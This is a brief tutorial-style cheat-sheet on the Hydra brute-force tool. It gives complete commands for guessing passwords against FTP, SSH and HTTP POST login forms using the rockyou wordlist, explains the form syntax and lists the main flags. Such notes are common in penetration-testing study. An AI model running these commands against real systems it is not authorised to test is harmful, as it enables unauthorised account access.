hydra is a brute force tool. It is normally use for login password brute force.
FTP
hydra -l "john" -P /usr/share/wordlists/rockyou.txt ftp://192.168.0.101 -t 64 -V -f
SSH
hydra -l "john" -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.101 -t 64 -V -f
HTTP
hydra -l "john" -P /usr/share/wordlists/rockyou.txt 192.168.0.101 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid password" -t 64 -V -f
- Into the quotation mark first login directory location after ip.
- Second part is information that send after click submit button. Replace username with ^USER^ and password with ^PASS^
- In 3rd section after
F=
we should use some word that print if login denied.
Some Useful Flags
-s
= if the service is on a different default port, define it here-l
= single user name-L
= user name in a file-p
= single password-P
= password in a file-o
= write found login/password pairs to FILE instead of stdout-V
= show login+pass for each attempt-t
= run TASKS number of connects in parallel per target (default: 16)-f
= exit when a login/pass pair is found (-M: -f per host,-F
global)